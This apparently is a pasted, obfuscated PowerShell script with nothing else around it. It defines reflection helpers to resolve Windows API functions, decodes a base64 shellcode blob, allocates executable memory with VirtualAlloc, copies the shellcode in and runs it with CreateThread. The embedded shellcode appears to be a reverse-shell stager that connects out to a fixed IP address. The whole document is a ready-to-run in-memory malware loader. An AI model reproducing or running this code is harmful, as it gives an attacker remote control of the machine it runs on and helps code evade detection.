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Jun 16th, 2019
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  1. function uY {
  2. Param ($luOE, $pL15V)
  3. $zA = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
  4.  
  5. return $zA.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($zA.GetMethod('GetModuleHandle')).Invoke($null, @($luOE)))), $pL15V))
  6. }
  7.  
  8. function vr {
  9. Param (
  10. [Parameter(Position = 0, Mandatory = $True)] [Type[]] $jY,
  11. [Parameter(Position = 1)] [Type] $uT = [Void]
  12. )
  13.  
  14. $ftU = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  15. $ftU.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $jY).SetImplementationFlags('Runtime, Managed')
  16. $ftU.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $uT, $jY).SetImplementationFlags('Runtime, Managed')
  17.  
  18. return $ftU.CreateType()
  19. }
  20.  
  21. [Byte[]]$heJr = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmgKAAIFaAIAAbuJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAz/Tgh17GjwtaJW/9VqAGoEVldoAtnIX//VizZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//VAcMpxnXuww==")
  22.  
  23. $aqu = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((uY kernel32.dll VirtualAlloc), (vr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $heJr.Length,0x3000, 0x40)
  24. [System.Runtime.InteropServices.Marshal]::Copy($heJr, 0, $aqu, $heJr.length)
  25.  
  26. $vKL = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((uY kernel32.dll CreateThread), (vr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$aqu,[IntPtr]::Zero,0,[IntPtr]::Zero)
  27. [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((uY kernel32.dll WaitForSingleObject), (vr @([IntPtr], [Int32]))).Invoke($vKL,0xffffffff) | Out-Null
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